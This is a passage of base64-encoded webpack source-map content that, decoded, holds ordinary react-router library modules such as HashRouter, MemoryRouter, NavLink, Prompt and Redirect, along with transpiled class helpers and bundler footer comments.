lbnRzW19rZXldO1xuICAgIH1cblxuICAgIHJldHVybiBfcmV0ID0gKF90ZW1wID0gKF90aGlzID0gX3Bvc3NpYmxlQ29uc3RydWN0b3JSZXR1cm4odGhpcywgX1JlYWN0JENvbXBvbmVudC5jYWxsLmFwcGx5KF9SZWFjdCRDb21wb25lbnQsIFt0aGlzXS5jb25jYXQoYXJncykpKSwgX3RoaXMpLCBfdGhpcy5oaXN0b3J5ID0gY3JlYXRlSGlzdG9yeShfdGhpcy5wcm9wcyksIF90ZW1wKSwgX3Bvc3NpYmxlQ29uc3RydWN0b3JSZXR1cm4oX3RoaXMsIF9yZXQpO1xuICB9XG5cbiAgSGFzaFJvdXRlci5wcm90b3R5cGUuY29tcG9uZW50V2lsbE1vdW50ID0gZnVuY3Rpb24gY29tcG9uZW50V2lsbE1vdW50KCkge1xuICAgIHdhcm5pbmcoIXRoaXMucHJvcHMuaGlzdG9yeSwgXCI8SGFzaFJvdXRlcj4gaWdub3JlcyB0aGUgaGlzdG9yeSBwcm9wLiBUbyB1c2UgYSBjdXN0b20gaGlzdG9yeSwgXCIgKyBcInVzZSBgaW1wb3J0IHsgUm91dGVyIH1gIGluc3RlYWQgb2YgYGltcG9ydCB7IEhhc2hSb3V0ZXIgYXMgUm91dGVyIH1gLlwiKTtcbiAgfTtcblxuICBIYXNoUm91dGVyLnByb3RvdHlwZS5yZW5kZXIgPSBmdW5jdGlvbiByZW5kZXIoKSB7XG4gICAgcmV0dXJuIFJlYWN0LmNyZWF0ZUVsZW1lbnQoUm91dGVyLCB7IGhpc3Rvcnk6IHRoaXMuaGlzdG9yeSwgY2hpbGRyZW46IHRoaXMucHJvcHMuY2hpbGRyZW4gfSk7XG4gIH07XG5cbiAgcmV0dXJuIEhhc2hSb3V0ZXI7XG59KFJlYWN0LkNvbXBvbmVudCk7XG5cbkhhc2hSb3V0ZXIucHJvcFR5cGVzID0ge1xuICBiYXNlbmFtZTogUHJvcFR5cGVzLnN0cmluZyxcbiAgZ2V0VXNlckNvbmZpcm1hdGlvbjogUHJvcFR5cGVzLmZ1bmMsXG4gIGhhc2hUeXBlOiBQcm9wVHlwZXMub25lT2YoW1wiaGFzaGJhbmdcIiwgXCJub3NsYXNoXCIsIFwic2xhc2hcIl0pLFxuICBjaGlsZHJlbjogUHJvcFR5cGVzLm5vZGVcbn07XG5cblxuZXhwb3J0IGRlZmF1bHQgSGFzaFJvdXRlcjtcblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9yZWFjdC1yb3V0ZXItZG9tL2VzL0hhc2hSb3V0ZXIuanNcbi8vIG1vZHVsZSBpZCA9IDE0NVxuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsIi8vIFdyaXR0ZW4gaW4gdGhpcyByb3VuZCBhYm91dCB3YXkgZm9yIGJhYmVsLXRyYW5zZm9ybS1pbXBvcnRzXG5pbXBvcnQgTWVtb3J5Um91dGVyIGZyb20gXCJyZWFjdC1yb3V0ZXIvZXMvTWVtb3J5Um91dGVyXCI7XG5cbmV4cG9ydCBkZWZhdWx0IE1lbW9yeVJvdXRlcjtcblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9yZWFjdC1yb3V0ZXItZG9tL2VzL01lbW9yeVJvdXRlci5qc1xuLy8gbW9kdWxlIGlkID0gMTQ2XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiZnVuY3Rpb24gX2NsYXNzQ2FsbENoZWNrKGluc3RhbmNlLCBDb25zdHJ1Y3RvcikgeyBpZiAoIShpbnN0YW5jZSBpbnN0YW5jZW9mIENvbnN0cnVjdG9yKSkgeyB0aHJvdyBuZXcgVHlwZUVycm9yKFwiQ2Fubm90IGNhbGwgYSBjbGFzcyBhcyBhIGZ1bmN0aW9uXCIpOyB9IH1cblxuZnVuY3Rpb24gX3Bvc3NpYmxlQ29uc3RydWN0b3JSZXR1cm4oc2VsZiwgY2FsbCkgeyBpZiAoIXNlbGYpIHsgdGhyb3cgbmV3IFJlZmVyZW5jZUVycm9yKFwidGhpcyBoYXNuJ3QgYmVlbiBpbml0aWFsaXNlZCAtIHN1cGVyKCkgaGFzbid0IGJlZW4gY2FsbGVkXCIpOyB9IHJldHVybiBjYWxsICYmICh0eXBlb2YgY2FsbCA9PT0gXCJvYmplY3RcIiB8fCB0eXBlb2YgY2FsbCA9PT0gXCJmdW5jdGlvblwiKSA/IGNhbGwgOiBzZWxmOyB9XG5cbmZ1bmN0aW9uIF9pbmhlcml0cyhzdWJDbGFzcywgc3VwZXJDbGFzcykgeyBpZiAodHlwZW9mIHN1cGVyQ2xhc3MgIT09IFwiZnVuY3Rpb25cIiAmJiBzdXBlckNsYXNzICE9PSBudWxsKSB7IHRocm93IG5ldyBUeXBlRXJyb3IoXCJTdXBlciBleHByZXNzaW9uIG11c3QgZWl0aGVyIGJlIG51bGwgb3IgYSBmdW5jdGlvbiwgbm90IFwiICsgdHlwZW9mIHN1cGVyQ2xhc3MpOyB9IHN1YkNsYXNzLnByb3RvdHlwZSA9IE9iamVjdC5jcmVhdGUoc3VwZXJDbGFzcyAmJiBzdXBlckNsYXNzLnByb3RvdHlwZSwgeyBjb25zdHJ1Y3RvcjogeyB2YWx1ZTogc3ViQ2xhc3MsIGVudW1lcmFibGU6IGZhbHNlLCB3cml0YWJsZTogdHJ1ZSwgY29uZmlndXJhYmxlOiB0cnVlIH0gfSk7IGlmIChzdXBlckNsYXNzKSBPYmplY3Quc2V0UHJvdG90eXBlT2YgPyBPYmplY3Quc2V0UHJvdG90eXBlT2Yoc3ViQ2xhc3MsIHN1cGVyQ2xhc3MpIDogc3ViQ2xhc3MuX19wcm90b19fID0gc3VwZXJDbGFzczsgfVxuXG5pbXBvcnQgd2FybmluZyBmcm9tIFwid2FybmluZ1wiO1xuaW1wb3J0IFJlYWN0IGZyb20gXCJyZWFjdFwiO1xuaW1wb3J0IFByb3BUeXBlcyBmcm9tIFwicHJvcC10eXBlc1wiO1xuaW1wb3J0IHsgY3JlYXRlTWVtb3J5SGlzdG9yeSBhcyBjcmVhdGVIaXN0b3J5IH0gZnJvbSBcImhpc3RvcnlcIjtcbmltcG9ydCBSb3V0ZXIgZnJvbSBcIi4vUm91dGVyXCI7XG5cbi8qKlxuICogVGhlIHB1YmxpYyBBUEkgZm9yIGEgPFJvdXRlcj4gdGhhdCBzdG9yZXMgbG9jYXRpb24gaW4gbWVtb3J5LlxuICovXG5cbnZhciBNZW1vcnlSb3V0ZXIgPSBmdW5jdGlvbiAoX1JlYWN0JENvbXBvbmVudCkge1xuICBfaW5oZXJpdHMoTWVtb3J5Um91dGVyLCBfUmVhY3QkQ29tcG9uZW50KTtcblxuICBmdW5jdGlvbiBNZW1vcnlSb3V0ZXIoKSB7XG4gICAgdmFyIF90ZW1wLCBfdGhpcywgX3JldDtcblxuICAgIF9jbGFzc0NhbGxDaGVjayh0aGlzLCBNZW1vcnlSb3V0ZXIpO1xuXG4gICAgZm9yICh2YXIgX2xlbiA9IGFyZ3VtZW50cy5sZW5ndGgsIGFyZ3MgPSBBcnJheShfbGVuKSwgX2tleSA9IDA7IF9rZXkgPCBfbGVuOyBfa2V5KyspIHtcbiAgICAgIGFyZ3NbX2tleV0gPSBhcmd1bWVudHNbX2tleV07XG4gICAgfVxuXG4gICAgcmV0dXJuIF9yZXQgPSAoX3RlbXAgPSAoX3RoaXMgPSBfcG9zc2libGVDb25zdHJ1Y3RvclJldHVybih0aGlzLCBfUmVhY3QkQ29tcG9uZW50LmNhbGwuYXBwbHkoX1JlYWN0JENvbXBvbmVudCwgW3RoaXNdLmNvbmNhdChhcmdzKSkpLCBfdGhpcyksIF90aGlzLmhpc3RvcnkgPSBjcmVhdGVIaXN0b3J5KF90aGlzLnByb3BzKSwgX3RlbXApLCBfcG9zc2libGVDb25zdHJ1Y3RvclJldHVybihfdGhpcywgX3JldCk7XG4gIH1cblxuICBNZW1vcnlSb3V0ZXIucHJvdG90eXBlLmNvbXBvbmVudFdpbGxNb3VudCA9IGZ1bmN0aW9uIGNvbXBvbmVudFdpbGxNb3VudCgpIHtcbiAgICB3YXJuaW5nKCF0aGlzLnByb3BzLmhpc3RvcnksIFwiPE1lbW9yeVJvdXRlcj4gaWdub3JlcyB0aGUgaGlzdG9yeSBwcm9wLiBUbyB1c2UgYSBjdXN0b20gaGlzdG9yeSwgXCIgKyBcInVzZSBgaW1wb3J0IHsgUm91dGVyIH1gIGluc3RlYWQgb2YgYGltcG9ydCB7IE1lbW9yeVJvdXRlciBhcyBSb3V0ZXIgfWAuXCIpO1xuICB9O1xuXG4gIE1lbW9yeVJvdXRlci5wcm90b3R5cGUucmVuZGVyID0gZnVuY3Rpb24gcmVuZGVyKCkge1xuICAgIHJldHVybiBSZWFjdC5jcmVhdGVFbGVtZW50KFJvdXRlciwgeyBoaXN0b3J5OiB0aGlzLmhpc3RvcnksIGNoaWxkcmVuOiB0aGlzLnByb3BzLmNoaWxkcmVuIH0pO1xuICB9O1xuXG4gIHJldHVybiBNZW1vcnlSb3V0ZXI7XG59KFJlYWN0LkNvbXBvbmVudCk7XG5cbk1lbW9yeVJvdXRlci5wcm9wVHlwZXMgPSB7XG4gIGluaXRpYWxFbnRyaWVzOiBQcm9wVHlwZXMuYXJyYXksXG4gIGluaXRpYWxJbmRleDogUHJvcFR5cGVzLm51bWJlcixcbiAgZ2V0VXNlckNvbmZpcm1hdGlvbjogUHJvcFR5cGVzLmZ1bmMsXG4gIGtleUxlbmd0aDogUHJvcFR5cGVzLm51bWJlcixcbiAgY2hpbGRyZW46IFByb3BUeXBlcy5ub2RlXG59O1xuXG5cbmV4cG9ydCBkZWZhdWx0IE1lbW9yeVJvdXRlcjtcblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9yZWFjdC1yb3V0ZXIvZXMvTWVtb3J5Um91dGVyLmpzXG4vLyBtb2R1bGUgaWQgPSAxNDdcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJ2YXIgX2V4dGVuZHMgPSBPYmplY3QuYXNzaWduIHx8IGZ1bmN0aW9uICh0YXJnZXQpIHsgZm9yICh2YXIgaSA9IDE7IGkgPCBhcmd1bWVudHMubGVuZ3RoOyBpKyspIHsgdmFyIHNvdXJjZSA9IGFyZ3VtZW50c1tpXTsgZm9yICh2YXIga2V5IGluIHNvdXJjZSkgeyBpZiAoT2JqZWN0LnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eS5jYWxsKHNvdXJjZSwga2V5KSkgeyB0YXJnZXRba2V5XSA9IHNvdXJjZVtrZXldOyB9IH0gfSByZXR1cm4gdGFyZ2V0OyB9O1xuXG52YXIgX3R5cGVvZiA9IHR5cGVvZiBTeW1ib2wgPT09IFwiZnVuY3Rpb25cIiAmJiB0eXBlb2YgU3ltYm9sLml0ZXJhdG9yID09PSBcInN5bWJvbFwiID8gZnVuY3Rpb24gKG9iaikgeyByZXR1cm4gdHlwZW9mIG9iajsgfSA6IGZ1bmN0aW9uIChvYmopIHsgcmV0dXJuIG9iaiAmJiB0eXBlb2YgU3ltYm9sID09PSBcImZ1bmN0aW9uXCIgJiYgb2JqLmNvbnN0cnVjdG9yID09PSBTeW1ib2wgJiYgb2JqICE9PSBTeW1ib2wucHJvdG90eXBlID8gXCJzeW1ib2xcIiA6IHR5cGVvZiBvYmo7IH07XG5cbmZ1bmN0aW9uIF9vYmplY3RXaXRob3V0UHJvcGVydGllcyhvYmosIGtleXMpIHsgdmFyIHRhcmdldCA9IHt9OyBmb3IgKHZhciBpIGluIG9iaikgeyBpZiAoa2V5cy5pbmRleE9mKGkpID49IDApIGNvbnRpbnVlOyBpZiAoIU9iamVjdC5wcm90b3R5cGUuaGFzT3duUHJvcGVydHkuY2FsbChvYmosIGkpKSBjb250aW51ZTsgdGFyZ2V0W2ldID0gb2JqW2ldOyB9IHJldHVybiB0YXJnZXQ7IH1cblxuaW1wb3J0IFJlYWN0IGZyb20gXCJyZWFjdFwiO1xuaW1wb3J0IFByb3BUeXBlcyBmcm9tIFwicHJvcC10eXBlc1wiO1xuaW1wb3J0IFJvdXRlIGZyb20gXCIuL1JvdXRlXCI7XG5pbXBvcnQgTGluayBmcm9tIFwiLi9MaW5rXCI7XG5cbi8qKlxuICogQSA8TGluaz4gd3JhcHBlciB0aGF0IGtub3dzIGlmIGl0J3MgXCJhY3RpdmVcIiBvciBub3QuXG4gKi9cbnZhciBOYXZMaW5rID0gZnVuY3Rpb24gTmF2TGluayhfcmVmKSB7XG4gIHZhciB0byA9IF9yZWYudG8sXG4gICAgICBleGFjdCA9IF9yZWYuZXhhY3QsXG4gICAgICBzdHJpY3QgPSBfcmVmLnN0cmljdCxcbiAgICAgIGxvY2F0aW9uID0gX3JlZi5sb2NhdGlvbixcbiAgICAgIGFjdGl2ZUNsYXNzTmFtZSA9IF9yZWYuYWN0aXZlQ2xhc3NOYW1lLFxuICAgICAgY2xhc3NOYW1lID0gX3JlZi5jbGFzc05hbWUsXG4gICAgICBhY3RpdmVTdHlsZSA9IF9yZWYuYWN0aXZlU3R5bGUsXG4gICAgICBzdHlsZSA9IF9yZWYuc3R5bGUsXG4gICAgICBnZXRJc0FjdGl2ZSA9IF9yZWYuaXNBY3RpdmUsXG4gICAgICBhcmlhQ3VycmVudCA9IF9yZWZbXCJhcmlhLWN1cnJlbnRcIl0sXG4gICAgICByZXN0ID0gX29iamVjdFdpdGhvdXRQcm9wZXJ0aWVzKF9yZWYsIFtcInRvXCIsIFwiZXhhY3RcIiwgXCJzdHJpY3RcIiwgXCJsb2NhdGlvblwiLCBcImFjdGl2ZUNsYXNzTmFtZVwiLCBcImNsYXNzTmFtZVwiLCBcImFjdGl2ZVN0eWxlXCIsIFwic3R5bGVcIiwgXCJpc0FjdGl2ZVwiLCBcImFyaWEtY3VycmVudFwiXSk7XG5cbiAgdmFyIHBhdGggPSAodHlwZW9mIHRvID09PSBcInVuZGVmaW5lZFwiID8gXCJ1bmRlZmluZWRcIiA6IF90eXBlb2YodG8pKSA9PT0gXCJvYmplY3RcIiA/IHRvLnBhdGhuYW1lIDogdG87XG5cbiAgLy8gUmVnZXggdGFrZW4gZnJvbTogaHR0cHM6Ly9naXRodWIuY29tL3BpbGxhcmpzL3BhdGgtdG8tcmVnZXhwL2Jsb2IvbWFzdGVyL2luZGV4LmpzI0wyMDJcbiAgdmFyIGVzY2FwZWRQYXRoID0gcGF0aCAmJiBwYXRoLnJlcGxhY2UoLyhbLisqPz1eIToke30oKVtcXF18L1xcXFxdKS9nLCBcIlxcXFwkMVwiKTtcblxuICByZXR1cm4gUmVhY3QuY3JlYXRlRWxlbWVudChSb3V0ZSwge1xuICAgIHBhdGg6IGVzY2FwZWRQYXRoLFxuICAgIGV4YWN0OiBleGFjdCxcbiAgICBzdHJpY3Q6IHN0cmljdCxcbiAgICBsb2NhdGlvbjogbG9jYXRpb24sXG4gICAgY2hpbGRyZW46IGZ1bmN0aW9uIGNoaWxkcmVuKF9yZWYyKSB7XG4gICAgICB2YXIgbG9jYXRpb24gPSBfcmVmMi5sb2NhdGlvbixcbiAgICAgICAgICBtYXRjaCA9IF9yZWYyLm1hdGNoO1xuXG4gICAgICB2YXIgaXNBY3RpdmUgPSAhIShnZXRJc0FjdGl2ZSA/IGdldElzQWN0aXZlKG1hdGNoLCBsb2NhdGlvbikgOiBtYXRjaCk7XG5cbiAgICAgIHJldHVybiBSZWFjdC5jcmVhdGVFbGVtZW50KExpbmssIF9leHRlbmRzKHtcbiAgICAgICAgdG86IHRvLFxuICAgICAgICBjbGFzc05hbWU6IGlzQWN0aXZlID8gW2NsYXNzTmFtZSwgYWN0aXZlQ2xhc3NOYW1lXS5maWx0ZXIoZnVuY3Rpb24gKGkpIHtcbiAgICAgICAgICByZXR1cm4gaTtcbiAgICAgICAgfSkuam9pbihcIiBcIikgOiBjbGFzc05hbWUsXG4gICAgICAgIHN0eWxlOiBpc0FjdGl2ZSA/IF9leHRlbmRzKHt9LCBzdHlsZSwgYWN0aXZlU3R5bGUpIDogc3R5bGUsXG4gICAgICAgIFwiYXJpYS1jdXJyZW50XCI6IGlzQWN0aXZlICYmIGFyaWFDdXJyZW50IHx8IG51bGxcbiAgICAgIH0sIHJlc3QpKTtcbiAgICB9XG4gIH0pO1xufTtcblxuTmF2TGluay5wcm9wVHlwZXMgPSB7XG4gIHRvOiBMaW5rLnByb3BUeXBlcy50byxcbiAgZXhhY3Q6IFByb3BUeXBlcy5ib29sLFxuICBzdHJpY3Q6IFByb3BUeXBlcy5ib29sLFxuICBsb2NhdGlvbjogUHJvcFR5cGVzLm9iamVjdCxcbiAgYWN0aXZlQ2xhc3NOYW1lOiBQcm9wVHlwZXMuc3RyaW5nLFxuICBjbGFzc05hbWU6IFByb3BUeXBlcy5zdHJpbmcsXG4gIGFjdGl2ZVN0eWxlOiBQcm9wVHlwZXMub2JqZWN0LFxuICBzdHlsZTogUHJvcFR5cGVzLm9iamVjdCxcbiAgaXNBY3RpdmU6IFByb3BUeXBlcy5mdW5jLFxuICBcImFyaWEtY3VycmVudFwiOiBQcm9wVHlwZXMub25lT2YoW1wicGFnZVwiLCBcInN0ZXBcIiwgXCJsb2NhdGlvblwiLCBcImRhdGVcIiwgXCJ0aW1lXCIsIFwidHJ1ZVwiXSlcbn07XG5cbk5hdkxpbmsuZGVmYXVsdFByb3BzID0ge1xuICBhY3RpdmVDbGFzc05hbWU6IFwiYWN0aXZlXCIsXG4gIFwiYXJpYS1jdXJyZW50XCI6IFwicGFnZVwiXG59O1xuXG5leHBvcnQgZGVmYXVsdCBOYXZMaW5rO1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL3JlYWN0LXJvdXRlci1kb20vZXMvTmF2TGluay5qc1xuLy8gbW9kdWxlIGlkID0gMTQ4XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwibW9kdWxlLmV4cG9ydHMgPSBBcnJheS5pc0FycmF5IHx8IGZ1bmN0aW9uIChhcnIpIHtcbiAgcmV0dXJuIE9iamVjdC5wcm90b3R5cGUudG9TdHJpbmcuY2FsbChhcnIpID09ICdbb2JqZWN0IEFycmF5XSc7XG59O1xuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvaXNhcnJheS9pbmRleC5qc1xuLy8gbW9kdWxlIGlkID0gMTQ5XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiLy8gV3JpdHRlbiBpbiB0aGlzIHJvdW5kIGFib3V0IHdheSBmb3IgYmFiZWwtdHJhbnNmb3JtLWltcG9ydHNcbmltcG9ydCBQcm9tcHQgZnJvbSBcInJlYWN0LXJvdXRlci9lcy9Qcm9tcHRcIjtcblxuZXhwb3J0IGRlZmF1bHQgUHJvbXB0O1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL3JlYWN0LXJvdXRlci1kb20vZXMvUHJvbXB0LmpzXG4vLyBtb2R1bGUgaWQgPSAxNTBcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJmdW5jdGlvbiBfY2xhc3NDYWxsQ2hlY2soaW5zdGFuY2UsIENvbnN0cnVjdG9yKSB7IGlmICghKGluc3RhbmNlIGluc3RhbmNlb2YgQ29uc3RydWN0b3IpKSB7IHRocm93IG5ldyBUeXBlRXJyb3IoXCJDYW5ub3QgY2FsbCBhIGNsYXNzIGFzIGEgZnVuY3Rpb25cIik7IH0gfVxuXG5mdW5jdGlvbiBfcG9zc2libGVDb25zdHJ1Y3RvclJldHVybihzZWxmLCBjYWxsKSB7IGlmICghc2VsZikgeyB0aHJvdyBuZXcgUmVmZXJlbmNlRXJyb3IoXCJ0aGlzIGhhc24ndCBiZWVuIGluaXRpYWxpc2VkIC0gc3VwZXIoKSBoYXNuJ3QgYmVlbiBjYWxsZWRcIik7IH0gcmV0dXJuIGNhbGwgJiYgKHR5cGVvZiBjYWxsID09PSBcIm9iamVjdFwiIHx8IHR5cGVvZiBjYWxsID09PSBcImZ1bmN0aW9uXCIpID8gY2FsbCA6IHNlbGY7IH1cblxuZnVuY3Rpb24gX2luaGVyaXRzKHN1YkNsYXNzLCBzdXBlckNsYXNzKSB7IGlmICh0eXBlb2Ygc3VwZXJDbGFzcyAhPT0gXCJmdW5jdGlvblwiICYmIHN1cGVyQ2xhc3MgIT09IG51bGwpIHsgdGhyb3cgbmV3IFR5cGVFcnJvcihcIlN1cGVyIGV4cHJlc3Npb24gbXVzdCBlaXRoZXIgYmUgbnVsbCBvciBhIGZ1bmN0aW9uLCBub3QgXCIgKyB0eXBlb2Ygc3VwZXJDbGFzcyk7IH0gc3ViQ2xhc3MucHJvdG90eXBlID0gT2JqZWN0LmNyZWF0ZShzdXBlckNsYXNzICYmIHN1cGVyQ2xhc3MucHJvdG90eXBlLCB7IGNvbnN0cnVjdG9yOiB7IHZhbHVlOiBzdWJDbGFzcywgZW51bWVyYWJsZTogZmFsc2UsIHdyaXRhYmxlOiB0cnVlLCBjb25maWd1cmFibGU6IHRydWUgfSB9KTsgaWYgKHN1cGVyQ2xhc3MpIE9iamVjdC5zZXRQcm90b3R5cGVPZiA/IE9iamVjdC5zZXRQcm90b3R5cGVPZihzdWJDbGFzcywgc3VwZXJDbGFzcykgOiBzdWJDbGFzcy5fX3Byb3RvX18gPSBzdXBlckNsYXNzOyB9XG5cbmltcG9ydCBSZWFjdCBmcm9tIFwicmVhY3RcIjtcbmltcG9ydCBQcm9wVHlwZXMgZnJvbSBcInByb3AtdHlwZXNcIjtcbmltcG9ydCBpbnZhcmlhbnQgZnJvbSBcImludmFyaWFudFwiO1xuXG4vKipcbiAqIFRoZSBwdWJsaWMgQVBJIGZvciBwcm9tcHRpbmcgdGhlIHVzZXIgYmVmb3JlIG5hdmlnYXRpbmcgYXdheVxuICogZnJvbSBhIHNjcmVlbiB3aXRoIGEgY29tcG9uZW50LlxuICovXG5cbnZhciBQcm9tcHQgPSBmdW5jdGlvbiAoX1JlYWN0JENvbXBvbmVudCkge1xuICBfaW5oZXJpdHMoUHJvbXB0LCBfUmVhY3QkQ29tcG9uZW50KTtcblxuICBmdW5jdGlvbiBQcm9tcHQoKSB7XG4gICAgX2NsYXNzQ2FsbENoZWNrKHRoaXMsIFByb21wdCk7XG5cbiAgICByZXR1cm4gX3Bvc3NpYmxlQ29uc3RydWN0b3JSZXR1cm4odGhpcywgX1JlYWN0JENvbXBvbmVudC5hcHBseSh0aGlzLCBhcmd1bWVudHMpKTtcbiAgfVxuXG4gIFByb21wdC5wcm90b3R5cGUuZW5hYmxlID0gZnVuY3Rpb24gZW5hYmxlKG1lc3NhZ2UpIHtcbiAgICBpZiAodGhpcy51bmJsb2NrKSB0aGlzLnVuYmxvY2soKTtcblxuICAgIHRoaXMudW5ibG9jayA9IHRoaXMuY29udGV4dC5yb3V0ZXIuaGlzdG9yeS5ibG9jayhtZXNzYWdlKTtcbiAgfTtcblxuICBQcm9tcHQucHJvdG90eXBlLmRpc2FibGUgPSBmdW5jdGlvbiBkaXNhYmxlKCkge1xuICAgIGlmICh0aGlzLnVuYmxvY2spIHtcbiAgICAgIHRoaXMudW5ibG9jaygpO1xuICAgICAgdGhpcy51bmJsb2NrID0gbnVsbDtcbiAgICB9XG4gIH07XG5cbiAgUHJvbXB0LnByb3RvdHlwZS5jb21wb25lbnRXaWxsTW91bnQgPSBmdW5jdGlvbiBjb21wb25lbnRXaWxsTW91bnQoKSB7XG4gICAgaW52YXJpYW50KHRoaXMuY29udGV4dC5yb3V0ZXIsIFwiWW91IHNob3VsZCBub3QgdXNlIDxQcm9tcHQ+IG91dHNpZGUgYSA8Um91dGVyPlwiKTtcblxuICAgIGlmICh0aGlzLnByb3BzLndoZW4pIHRoaXMuZW5hYmxlKHRoaXMucHJvcHMubWVzc2FnZSk7XG4gIH07XG5cbiAgUHJvbXB0LnByb3RvdHlwZS5jb21wb25lbnRXaWxsUmVjZWl2ZVByb3BzID0gZnVuY3Rpb24gY29tcG9uZW50V2lsbFJlY2VpdmVQcm9wcyhuZXh0UHJvcHMpIHtcbiAgICBpZiAobmV4dFByb3BzLndoZW4pIHtcbiAgICAgIGlmICghdGhpcy5wcm9wcy53aGVuIHx8IHRoaXMucHJvcHMubWVzc2FnZSAhPT0gbmV4dFByb3BzLm1lc3NhZ2UpIHRoaXMuZW5hYmxlKG5leHRQcm9wcy5tZXNzYWdlKTtcbiAgICB9IGVsc2Uge1xuICAgICAgdGhpcy5kaXNhYmxlKCk7XG4gICAgfVxuICB9O1xuXG4gIFByb21wdC5wcm90b3R5cGUuY29tcG9uZW50V2lsbFVubW91bnQgPSBmdW5jdGlvbiBjb21wb25lbnRXaWxsVW5tb3VudCgpIHtcbiAgICB0aGlzLmRpc2FibGUoKTtcbiAgfTtcblxuICBQcm9tcHQucHJvdG90eXBlLnJlbmRlciA9IGZ1bmN0aW9uIHJlbmRlcigpIHtcbiAgICByZXR1cm4gbnVsbDtcbiAgfTtcblxuICByZXR1cm4gUHJvbXB0O1xufShSZWFjdC5Db21wb25lbnQpO1xuXG5Qcm9tcHQucHJvcFR5cGVzID0ge1xuICB3aGVuOiBQcm9wVHlwZXMuYm9vbCxcbiAgbWVzc2FnZTogUHJvcFR5cGVzLm9uZU9mVHlwZShbUHJvcFR5cGVzLmZ1bmMsIFByb3BUeXBlcy5zdHJpbmddKS5pc1JlcXVpcmVkXG59O1xuUHJvbXB0LmRlZmF1bHRQcm9wcyA9IHtcbiAgd2hlbjogdHJ1ZVxufTtcblByb21wdC5jb250ZXh0VHlwZXMgPSB7XG4gIHJvdXRlcjogUHJvcFR5cGVzLnNoYXBlKHtcbiAgICBoaXN0b3J5OiBQcm9wVHlwZXMuc2hhcGUoe1xuICAgICAgYmxvY2s6IFByb3BUeXBlcy5mdW5jLmlzUmVxdWlyZWRcbiAgICB9KS5pc1JlcXVpcmVkXG4gIH0pLmlzUmVxdWlyZWRcbn07XG5cblxuZXhwb3J0IGRlZmF1bHQgUHJvbXB0O1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL3JlYWN0LXJvdXRlci9lcy9Qcm9tcHQuanNcbi8vIG1vZHVsZSBpZCA9IDE1MVxuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsIi8vIFdyaXR0ZW4gaW4gdGhpcyByb3VuZCBhYm91dCB3YXkgZm9yIGJhYmVsLXRyYW5zZm9ybS1pbXBvcnRzXG5pbXBvcnQgUmVkaXJlY3QgZnJvbSBcInJlYWN0LXJvdXRlci9lcy9SZWRpcmVjdFwiO1xuXG5leHBvcnQgZGVmYXVsdCBSZWRpcmVjdDtcblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9yZWFjdC1yb3V0ZXItZG9tL2VzL1JlZGlyZWN0LmpzXG4vLyBtb2R1bGUgaWQgPSAxNTJcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJ2YXIgX2V4dGVuZHMgPSBPYmplY3QuYXNzaWduIHx8IGZ1bmN0aW9uICh0YXJnZXQpIHsgZm9yICh2YXIgaSA9IDE7IGkgPCBhcmd1bWVudHMubGVuZ3RoOyBpKyspIHsgdmFyIHNvdXJjZSA9IGFyZ3VtZW50c1tpXTsgZm9yICh2YXIga2V5IGluIHNvdXJjZSkgeyBpZiAoT2JqZWN0LnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eS5jYWxsKHNvdXJjZSwga2V5KSkgeyB0YXJnZXRba2V5XSA9IHNvdXJjZVtrZXldOyB9IH0gfSByZXR1cm4gdGFyZ2V0OyB9O1xuXG5mdW5jdGlvbiBfY2xhc3NDYWxsQ2hlY2soaW5zdGFuY2UsIENvbnN0cnVjdG9yKSB7IGlmICghKGluc3RhbmNlIGluc3RhbmNlb2YgQ29uc3RydWN0b3IpKSB7IHRocm93IG5ldyBUeXBlRXJyb3IoXCJDYW5ub3QgY2FsbCBhIGNsYXNzIGFzIGEgZnVuY3Rpb25cIik7IH0gfVxuXG5mdW5jdGlvbiBfcG9zc2libGVDb25zdHJ1Y3RvclJldHVybihzZWxmLCBjYWxsKSB7IGlmICghc2VsZikgeyB0aHJvdyBuZXcgUmVmZXJlbmNlRXJyb3IoXCJ0aGlzIGhhc24ndCBiZWVuIGluaXRpYWxpc2VkIC0gc3VwZXIoKSBoYXNuJ3QgYmVlbiBjYWxsZWRcIik7IH0gcmV0dXJuIGNhbGwgJiYgKHR5cGVvZiBjYWxsID09PSBcIm9iamVjdFwiIHx8IHR5cGVvZiBjYWxsID09PSBcImZ1bmN0aW9uXCIpID8gY2FsbCA6IHNlbGY7IH1cblxuZnVuY3Rpb24gX2luaGVyaXRzKHN1YkNsYXNzLCBzdXBlckNsYXNzKSB7IGlmICh0eXBlb2Ygc3VwZXJDbGFzcyAhPT0gXCJmdW5jdGlvblwiICYmIHN1cGVyQ2xhc3MgIT09IG51bGwpIHsgdGhyb3cgbmV3IFR